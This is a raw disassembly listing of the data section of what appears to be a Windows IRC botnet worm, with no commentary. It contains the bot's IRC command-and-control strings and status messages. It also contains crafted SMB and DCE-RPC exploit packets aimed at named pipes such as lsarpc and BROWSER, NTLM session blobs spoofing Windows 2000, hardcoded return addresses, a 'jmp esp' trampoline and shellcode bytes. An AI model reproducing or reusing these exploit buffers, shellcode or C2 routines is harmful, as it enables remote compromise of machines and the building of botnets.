sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 90F030h ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 29FB0h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 58EE830h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 25570h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 969E58h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 0FF778h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0FB288h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 12A488h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 55D1DB0h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 85A058h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 988A30h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 53005939h ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2AD87238h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 903F4F39h ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 3F53B78h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1054F8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 2AC15529h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 90DB78h ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 27B78h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0F669DEC8h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 51AF03CEh ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 560C8BD9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 125EC8h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23B2DEC8h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 3E3DEC8h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2AC19078h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 3D18h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 25CB99D8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 26F91BF8h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 26F7D4F8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 0BA3DCE82h ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 0BA3E0C3Ah ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 27740A05h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 3F2F239h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 12E5F8h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 11709839h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 24EBDF78h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 1274D8h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 119530h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 5070h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 9Ah, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h ; DATA XREF: sub_40A9CF+790o dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0) dword_419DB0 dd 4CFC788h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 225CC0D9h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 16C4931h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh ; DATA XREF: sub_40A9CF+534o dd 87F6CDABh, 2 dup(0) dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: sub_40A9CF+437o dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h dd 0BDB1F9BBh, 2 dup(0) dword_419E48 dd 21CC8h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 3F1EAF9h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 3EDD4F9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 242660F8h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 2B7260F8h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 8EB758h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 473EDB0h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 1685E8h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3C1A6B1h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree_0 db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: .data:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: .data:loc_41A8ACj ; .data:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: .data:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: .data:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: .data:0041A8AEj ; .data:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: .data:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: .data:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: .data:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 